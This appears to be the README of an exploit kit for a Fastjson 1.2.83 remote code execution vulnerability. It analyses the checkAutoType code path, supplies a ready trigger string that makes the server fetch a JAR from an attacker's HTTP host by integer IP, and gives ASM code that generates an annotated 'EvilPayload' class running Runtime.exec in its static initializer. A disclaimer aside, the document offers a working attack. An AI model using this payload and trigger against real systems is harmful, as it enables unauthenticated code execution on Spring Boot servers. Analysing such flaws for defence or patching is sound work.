
Detailed CVE-2026-16723 analysis and exploit kit for Fastjson 1.2.83 RCE, covering vulnerable code paths, malicious JAR/bytecode generation, and a Docker Compose environment for reproducing the attack.
Disclaimer: This project is intended for security research and learning purposes in authorized environments only. Testing against unauthorized systems is prohibited, and users are solely responsible for any consequences of use.
CVSS 9.0, affects Fastjson 1.2.68 ~ 1.2.83. No need to enable AutoType, no third-party Gadget required, exploitable with default configuration.
The entry point of the vulnerability is in com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Whether JSON.parse(body) or JSON.parseObject(body, Foo.class) is called, execution ultimately reaches this method.
Key code path (fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
The AutoType switch (autoTypeSupport) only controls ① whether entry is allowed, but ② annotation detection is executed unconditionally. As soon as jsonType in ② becomes true, ③ type loading and ④ security check bypass will be triggered in succession.
String resource = typeName.replace('.', '/') + ".class";
typeName is the value of @type in the JSON, which is fully controlled by the attacker. The intent is to convert com.example.Foo to com/example/Foo.class, but when the input is a URL, this becomes a URL constructor.
Because the . in the hostname is also replaced, the attacker uses an integer IP to bypass this. The 32-bit unsigned integer for 127.0.0.1 is 2130706433:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //, .probe! → /probe!/, yielding a valid jar:http:// resource locator.
is = defaultClassLoader.getResourceAsStream(resource);
Whether getResourceAsStream can resolve jar:http:// as a remote resource depends entirely on the ClassLoader type:
| ClassLoader | 行为 |
|---|---|
JDK AppClassLoader | 只搜本地 classpath → null |
Tomcat WebappClassLoader(独立 WAR) | 只搜 WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader(fat-JAR) | 支持 jar:http:// → HTTP 出去拉字节码 |
这里有一个容易混淆的点:Spring Boot 内嵌 Tomcat 时,应用类的 ClassLoader 是 LaunchedURLClassLoader 而不是 WebappClassLoader。所以内嵌 Tomcat/Jetty/Undertow 都在受影响范围内。
When is != null, the remote class bytecode hosted by the attacker has already entered JVM memory.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson uses ASM to scan the bytecode and check whether it contains the @com.alibaba.fastjson.annotation.JSONType annotation. The design intent is performance optimization—quickly identifying types managed by Fastjson through the annotation. However, here it only checks whether the annotation exists; it does not verify the bytecode's origin, does not check the class name, and does not restrict the source. As long as an attacker's remote class carries @JSONType, it can obtain the jsonType=true determination.
Note that catch (Exception e) {} is empty—the attacker will not receive any error.

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true satisfies the condition. loadClass follows the standard class loading process, registering the bytecode as a JVM Class object via defineClass.
Two concepts need to be distinguished: defineClass completes class definition (registration in the JVM), while <clinit> executes during the class initialization phase. Both phases may complete within the same request, but per the JVM specification they are independent.
if (jsonType) {
return clazz;
}
This line bypasses all subsequent defenses:
ClassLoader/DataSource/RowSet hardcoded interceptiondenyList blacklistexpectClass.isAssignableFrom(clazz) type checkThis also explains why parseObject(body, Dto.class) cannot prevent it: the type binding check happens after class loading, while the attack code has already executed during the loading phase.
The attacker needs to generate a bytecode file that satisfies three conditions: carrying the @JSONType annotation, embedding the attack code in <clinit>, and hosting it over HTTP.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
Malicious logic is triggered via <clinit>, and executes as soon as the class is loaded.
The essence of this chain is turning Fastjson's annotation detection into a remote class loader. The attacker controls the value of @type, constructs a URL through string conversion, uses getResourceAsStream to initiate SSRF and fetch bytecode, passes the ASM probe's check with the @JSONType annotation, completes class definition via loadClass, and finally skips all security checks with return clazz.